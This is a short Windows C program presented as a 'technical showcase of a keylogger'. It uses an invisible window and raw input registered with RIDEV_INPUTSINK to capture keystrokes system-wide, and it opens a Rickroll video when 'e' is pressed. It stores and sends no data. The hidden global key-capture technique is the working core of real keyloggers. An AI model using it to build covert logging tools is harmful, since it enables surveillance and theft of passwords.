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rick.c
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rick.c
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/*
* Technical showcase of a keylogger using win32 windows and raw input
* it is a way better solution that doing a while GetAsyncKeyState because it does not use an entire cpu core
* even if you add a Sleep() in the loop, it still uses a bit of your cpu
* with this technic, it only trigger the callback when a key is pressed
*
* the linker flag subsystem need to be window
*/
#ifndef _WIN32
#error Windows 32/64 only
#endif
#include <stdlib.h>
#include <windows.h>
/*
* Window Callback
*/
LRESULT WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) {
case WM_INPUT:
{
UINT dwSize;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
LPBYTE lpb = malloc(sizeof(BYTE) * dwSize);
if (lpb == NULL)
{
return 0;
}
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
{
free(lpb);
break;
}
RAWINPUT* raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD && raw->data.keyboard.Message == WM_KEYDOWN)
{
UINT key = MapVirtualKeyA(raw->data.keyboard.VKey, MAPVK_VK_TO_CHAR);
if (key == 'e' || key == 'E')
{
ShellExecute(0, 0, L"https://www.youtube.com/watch?v=dQw4w9WgXcQ", 0, 0, SW_SHOW);
}
}
free(lpb);
break;
}
default:
{
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
}
/*
* Entry point
*/
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR pCmdLine, int nCmdShow)
{
/*
* Create invisible window
*/
WNDCLASSA wclass = { 0 };
wclass.hInstance = hInstance;
wclass.lpfnWndProc = WndProc;
wclass.lpszClassName = "rick";
if (!RegisterClassA(&wclass))
{
return 1;
}
HWND hwnd = CreateWindowA(wclass.lpszClassName, NULL, 0, 0, 0, 0, 0, 0, NULL, hInstance, NULL);
if (!hwnd)
{
return 1;
}
/*
* Register raw input
*/
RAWINPUTDEVICE rid = { 0 };
rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
rid.usUsagePage = 1;
rid.usUsage = 6;
if (!RegisterRawInputDevices(&rid, 1, sizeof(rid)))
{
return 1;
}
/*
* Handle messages
*/
MSG msg = { 0 };
while (GetMessage(&msg, hwnd, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}